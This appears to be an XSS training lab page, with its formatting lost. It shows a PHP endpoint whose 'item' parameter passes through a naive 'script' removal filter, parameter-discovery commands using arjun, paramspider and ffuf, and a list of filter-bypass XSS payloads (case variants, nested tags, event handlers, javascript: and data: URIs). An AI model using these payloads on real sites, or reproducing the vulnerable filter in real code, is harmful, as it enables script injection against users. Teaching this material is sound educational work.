Find the hidden parameter and bypass simple filtering
This lab contains a hidden parameter that you need to discover before testing XSS payloads. The visible form uses secure HTML encoding, but there's another endpoint with simpler filtering.
htmlspecialchars() for both first name and last name parameters.
# use arjun tool to find hidden parameter
str_replace('script', '', $_GET['item'])
Objective: Discover the hidden parameter and bypass the simple 'script' filter to execute XSS.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["item"])){
$re = str_replace('script', '', $_GET['item']);
echo $re;
}
# use arjun tool to find hidden parameter
arjun -u https://example.compython3 paramspider.py -d example.comffuf -w wordlist.txt -u https://example.com?FUZZ=test<SCRIPT>, <Script>, <ScRiPt><scr<script>ipt> to bypass simple filters<img src=x onerror=alert(1)><body onload=alert(1)>, <svg onload=alert(1)><a href="javascript:alert(1)">click</a>This lab demonstrates:
For secure web applications:
<SCRIPT>alert(1)</SCRIPT><Script>alert(1)</Script><ScRiPt>alert(1)</ScRiPt><img src=x onerror=alert(1)><body onload=alert(1)><svg onload=alert(1)><iframe src="javascript:alert(1)"><scr<script>ipt>alert(1)</scr<script>ipt> - Nested tags<scrscriptipt>alert(1)</scrscriptipt> - Double writing<script src="data:text/javascript,alert(1)"></script> - Data URI<object data="javascript:alert(1)"></object> - Object tag